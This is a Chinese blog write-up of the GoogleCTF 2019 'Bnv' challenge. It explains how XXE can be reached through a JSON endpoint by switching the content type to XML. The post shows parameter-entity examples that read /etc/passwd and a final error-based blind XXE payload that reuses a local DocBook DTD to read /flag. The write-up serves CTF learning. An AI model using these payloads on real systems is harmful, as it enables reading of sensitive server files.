[GoogleCTF2019 Quals]Bnv

XXE新知识

当Web应用采用JSON进行数据传输时,可能存在XXE漏洞。

 

抓包发现包类是以JSON发送的

联想到json转换为xxe进行文件读取,修改HTTP头Content-type的值为application/xml,重放数据包之后发现报不解析错误

确认存在

把json转换为xxe格式,发现报错说缺少DTD

百度后发现一篇文章:使用本地DTD文件来利用XXE漏洞实现任意结果输出

ubuntu系统自带/usr/share/yelp/dtd/docbookx.dtd文件

Blind XXE 需要使用到DTD约束自定义实体中的参数实体。参数实体是只能在DTD中定义和使用的实体,以 % 为标志定义,定义和使用方法如下

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY b "hello">  //内部普通实体
    <!ENTITY b SYSTEM "http://xml.org/hhh.dtd"> //外部普通实体
    <!ENTITY % para SYSTEM "file:///1234.dtd"> //外部参数实体
    %para;
]>
<c>&b;</c>

而且参数实体还能嵌套定义,但需要注意的是,内层的定义的参数实体 % 需要进行HTML转义,否则会出现解析错误

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY % para '<!ENTITY &#x25; files SYSTEM "file:///etc/passwd">'>
]>

最终payload:

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; file SYSTEM "file:///flag">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;test&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
    '>
    %local_dtd;
]>

参考:http://yugod.xmutsec.com/index.php/2019/07/14/50.html

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

Protected with IP Blacklist CloudIP Blacklist Cloud